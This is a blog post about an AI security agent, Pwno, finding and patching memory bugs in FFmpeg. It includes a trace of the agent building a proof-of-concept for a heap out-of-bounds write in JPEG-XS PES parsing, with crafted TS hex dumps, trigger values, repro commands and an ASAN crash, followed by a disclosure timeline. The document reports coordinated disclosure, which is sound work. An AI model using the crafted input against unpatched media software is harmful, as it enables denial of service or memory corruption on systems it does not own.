
Peek of Pwno: FFmpeg
Pwno's discovery and patching of 6 memory vulnerabilities in FFmpeg in two days
In the past three days, we've been deploying our tailored version of Pwno on FFmpeg - a big dream that we set as a goal three months ago - the outcome is quite surprising and rewarding. Pwno patched 6 vulnerabilities in the span of 2 days, which includes two heap-buffer-overflow out-of-bounds writes; a Vulkan out-of-bounds read; a stack overflow; a precedence bug; and an inline asm alignment issue. All found autonomously by Pwno - some were found a few minutes after the code was committed upstream.
After Pwno's discovery, we wrote patches for these findings; reported them to FFmpeg's official security channel, and they're all currently merged into upstream. We want to thank Michael Niedermayer, Kacper Michajlow, James Almer, Lynee, and Ayose C for their prompt response and effort in patching the vulnerability.
The Box
Worth mentioning: in this FFmpeg-tailored version of Pwno, we introduced and applied a new scalable, verifiable, and reproducible exploit-development architecture for autonomous exploit development in a memory-security setting, designed entirely by Pwno: the-box.
the-box essentially mimics a debuggable CTF Pwn environment by harnessing "ground-truth" validator-enabled official artifacts (e.g., AddressSanitizer-enabled builds). Pwno first harnesses the verifiable artifacts in a way that resembles realistic interaction scenarios; then Pwno gradually acts towards the "flag" of triggering an expected exit signal of the validator, with attached debugging I/O that enables it to reflect the memory state of each crafted input through the interaction I/O.
Trace

As a demonstration, and to statisfy bit of curiousity, we'd love to share Pwno's Trace on one of our findings in FFmpeg - a interesting Heap OOB write in MPEG-TS JPEG‑XS PES parsing. Notice that the discovery of the vulnerability is a sophisticated workflow, including entrypoint (analytical), triaging... However, we jogged down the fascinating parts of the exploit-development process.
i. Discovery
(Pwno) The vulnerability is confirmed: an unbounded header_size leads to an out-of-bounds memset in libavformat/mpegts.c within the new_pes_packet function parsing JPEG-XS streams. However,it's present (synchronized) in the latest upstream, which lacks JPEG-XS support altogether, so the vulnerable code and its fix are both absent. The commit is unreachable from the current HEAD, meaning no fix is applied upstream. If this feature is introduced later, it should include bounds checking of header_size against the packet size to prevent buffer overflows.
Followup: (Pwno) After fetching, located libavformat/mpegts.c on origin/master.
Validated: JPEG-XS handling in libavformat/mpegts.c (new_pes_packet) adjusts pkt->data/pkt->size using attacker-controlled header_size without checking it against the packet length, then calls memset(pkt->data + pkt->size, ...). If header_size > pkt->size, pkt->data moves past the buffer and pkt->size can underflow/overflow, leading to an out-of-bounds zero write reachable via crafted TS PES with stream_id 0xbd/stream_type 0x32 and pkt->data[4..7]=="jxes".
iii. PoC
(interact:trigger) ... [Exiting with exit code -22] (Pwno) Noticed that using the null output requires mapped streams and codecs; the absence of a decoder likely prevents stream mapping, causing errors. Adding -c copy could avoid encoding and satisfy null muxer's need for codec-specified streams.
(Pwno) The bug in demux new_pes_packet triggers only when the PES is finished and flushed, but current single TS packet with unset or zero PES length never triggers that flush or calls new_pes_packet. To fix this, crafting two TS packets with the same PID, the first with a short PES length holding the malicious header size, and the second as a minimal PES start to force flushing the first and trigger the vulnerable memset.
(interact:trigger) (server-side) ./ffmpeg -loglevel info -nostdin -i <file> -copy_unknown -map 0 -c copy -f null / │ dev/null
ffmpeg version N-122138-gb802eeabff Copyright (c) 2000-2025 the FFmpeg developers built with Ubuntu clang version 18.1.3 (1ubuntu1) … +27 lines [out#0/null @ 0x511000000680] Output file is empty, nothing was encoded size=N/A time=N/A bitrate=N/A speed=N/A elapsed=0:00:00.00
(Pwno) Taced pointer and size arithmetic showing header_size's large unsigned value converts to a positive pkt->size after subtraction, possibly explaining no crash despite out-of-bounds writes. The main uncertainty is whether new_pes_packet is actually called; adding detailed logging with -loglevel trace should confirm if PES parsing and packet callbacks occur as expected.
(Pwno) Why the large header size causing memset out-of-bounds doesn't crash despite likely invalid pointer arithmetic and possible 4GB offset; testing shows new_pes_packet executes but no ASAN error, suggesting ASAN may not be fully enabled or the memory access falls within mapped regions, so next verify ASAN presence in the build and investigate PES packet handling logic and payload size limits further.
iv. Not getting the crash.. what should we do?
(Pwno) Analyzing MPEG-TS stream creation revealed PMT section length and PES packet length inconsistencies causing stream_type detection to fail and PES packets to be discarded prematurely; Planned to set PES packet length to zero for proper flushing and enlarge payload to meet heuristics, then regenerate the sample and run ffmpeg under pwnogdb w/ ASAN for deeper debugging. [tool calls, mainly creating PoC scripts and trialing] (Pwno) The current TS stream only demuxes one packet despite writing four; inconsistent adaptation fields, continuity counters, and pointer fields may be causing detection
[tool:execute] (input) [xxd -g1 -l 64 poc-jpegxs.ts] (output) [00000000: 47 40 00 10 00 00 b0 0d 00 01 c1 00 00 00 01 e1 G@.............. 00000010: 00 31 c7 0f 67 00 00 00 00 00 00 00 00 00 00 00 .1..g........... 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
(Pwno) Confirmed the PAT section length is actually 13 bytes, matching the data, correcting the earlier mistaken expectation of 18 bytes due to miscalculating the section body length.
[tool:execute] (input) [xxd -g1 -s 188 -l 64 poc-jpegxs.ts] (output) [000000bc: 47 41 00 10 00 02 b0 12 00 01 c1 00 00 e1 01 f0 GA.............. 000000cc: 00 32 e1 01 f0 00 6f 80 43 97 00 00 00 00 00 00 .2....o.C....... 000000dc: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000ec: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
(Pwno) The PMT header has the correct length and expected bytes, indicating the parser should handle it successfully before processing the following PES packet.
[tool:execute] (input) [xxd -g1 -s 376 -l 64 poc-jpegxs.ts] (output) [00000178: 47 41 01 10 00 00 01 bd 00 00 ff ff ff 00 6a 78 GA............jx 00000188: 65 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 es.............. 00000198: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000001a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
(Pwno) The PES header appears valid with a packet length of 0, and another PES packet seems to start at offset 564.
[tool:execute] (input) [xxd -g1 -s 564 -l 64 poc-jpegxs.ts] (output) [00000234: 47 41 01 11 00 00 01 bd 00 00 00 00 00 00 6a 78 GA............jx 00000244: 65 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 es.............. 00000254: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000264: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
(Pwno) Discovered the PES buffer includes the full PES header (start code and related fields), causing the expected "jxes" signature at offset 4 to fail since it’s found further in the buffer, not immediately after the first 4 bytes. This suggests the code expects a different PES data alignment, indicating a need to restructure the buffer or confirm whether PES headers are stripped before processing.
[Pwno is digging into codebase...]
(Pwno) The PES header length is computed too large (0xff+9=264) causing incomplete header parsing and stalled PES packet assembly. Fixing the PES header bytes to specify a minimal header length (likely zero) will allow correct transition to payload processing and proper PES packet completion.
(Pwno) Setting PES header flags to a minimal valid sequence with header_length=0, using bytes 6=0x80 and 7=0x00 to indicate data alignment without extra flags, ensuring payload starts immediately after 9 header bytes; now regenerate the PES payload accordingly and test.
(interact:trigger) (server-side) (Proof-of-Concept) [interact] (input) [....] (output) [ffmpeg version N-122138-gb802eeabff Copyright (c) 2000-2025 the FFmpeg developers built with Ubuntu clang version 18.1.3 (1ubuntu1) … SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x189460) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e) ==869535==ABORTING]
(Pwno) Running pwnodbg with ASan environment options to get a symbolized stack trace and line numbers from the new PoC.
[debug:attach] (output) [pwnodbg: loaded 190 pwndbg commands. Type pwnodbg [filter] for a list. pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them. … rtld_fini=<optimized out>, stack_end=0x7fffffffdfe8) at ../csu/libc-start.c:360 #16 0x0000555555a8ed75 in _start ()]
v. Crash
######## PWNO (ASAN:SEGV) ######## Repro confirmed on origin/master (b802eeabff). Running the crafted TS triggers the out-of-bounds memset in new_pes_packet: ~ Build: (fresh worktree FFmpeg): ./configure --cc=clang --cxx=clang++ --enable-debug=3 --disable-optimizations --extra-cflags='-fsanitize=address -fno-omit-frame-pointer' --extra-ldflags='-fsanitize=address' --disable-stripping && make -j$(nproc) ~ PoC: TS is at poc-jpegxs.ts (generated in /repo/FFmpeg). ~ Repro: cd /repo/FFmpeg-asan && ASAN_OPTIONS=halt_on_error=1:detect_leaks=0 ./ffmpeg -loglevel debug -nostdin -i ../FFmpeg/poc-jpegxs.ts -copy_unknown -map 0 -c copy -f null /dev/null ~ Crash ~ __asan_memset called from new_pes_packet libavformat/mpegts.c:1042 ~ Stack: new_pes_packet -> mpegts_push_data -> handle_packet -> mpegts_read_packet -> avformat_find_stream_info -> ffmpeg. ~ Reasoning: The PoC sets stream_id=0xbd, stream_type=0x32, payload starts with a large header_size (0xFFFFFF00) followed by "jxes", causing pkt->data += header_size; pkt->size -= header_size; memset(...) to write far OOB. ~ Conclusion: the reported JPEG-XS PES handling bug is present and reachable on latest upstream; ASan crash reproduced with the attached TS sample and stack trace above. Natural fix is to bounds-check header_size against pkt->size before adjusting pointers.
(post:notify)(ffmpeg@pwno/(ruikai@pwno.io))
Disclose Timeline
- (PWNO-0023) Heap OOB write in libsvtjpegxs decoder, chunk mode
- Dec 14, 2025: Pwno's Discovery & Validation
- Dec 14, 2025: First Patch written:
- Dec 14, 2025: First Contact to FFmpeg:
- Dec 14, 2025: Patch merged
- (PWNO-0022) Heap OOB write in MPEG-TS JPEG‑XS PES parsing
- Dec 14, 2025: Pwno's Discovery & Validation
- Dec 14, 2025: First Patch written
- Dec 14, 2025: First Contact to FFmpeg
- Dec 14, 2025: Patch merged
- (PWNO-0020) OOB read in Vulkan DPX hwaccel shader
- Dec 8, 2025: Pwno's Discovery & Validation:
- Dec 10, 2025: First Patch written:
- Dec 10, 2025: First Contact to FFmpeg:
- Dec 12, 2025: Patch merged
- (PWNO-0019) Heap Overflow in extended TRC (Panasonic V-Log)
- Dec 8, 2025: Pwno's Discovery & Validation
- Dec 10, 2025: First Patch Written
- Dec 10, 2025: First Contact to FFmpeg
- Dec 10, 2025: Previously fixed
- (PWNO-0018) avformat/sierravmd: fix header read error check
- Dec 8, 2025: Pwno's Discovery & Validation
- Dec 11, 2025: First Patch Written
- Dec 11, 2025: Patch Merged
- (PWNO-0017) Crash in vf_noise SSE2 on misaligned frames
- Dec 8, 2025: Pwno's Discovery & Validation
- Dec 8, 2025: First Patch Written
- Dec 10, 2025: Patch Merged
- (PWNO-0016) Stack overflow in drawvg parser on deeply nested scripts
- Dec 8, 2025: Pwno's Discovery & Validation
- Dec 8, 2025: First Patch written
- Dec 8, 2025: First Contact to FFmpeg Security Maintenance:
We're a small team started by a high-school freshman and a college freshman. One working on R&D and infrastructure (k8s, backend...), one working on frontend and product design.
If you're interested in joining us, reachout to us at: join@pwno.ai If you're interested in funding us, reachout to us at: vc@pwno.ai If you're interested in talking to us, reachout to us at: hi@pwno.io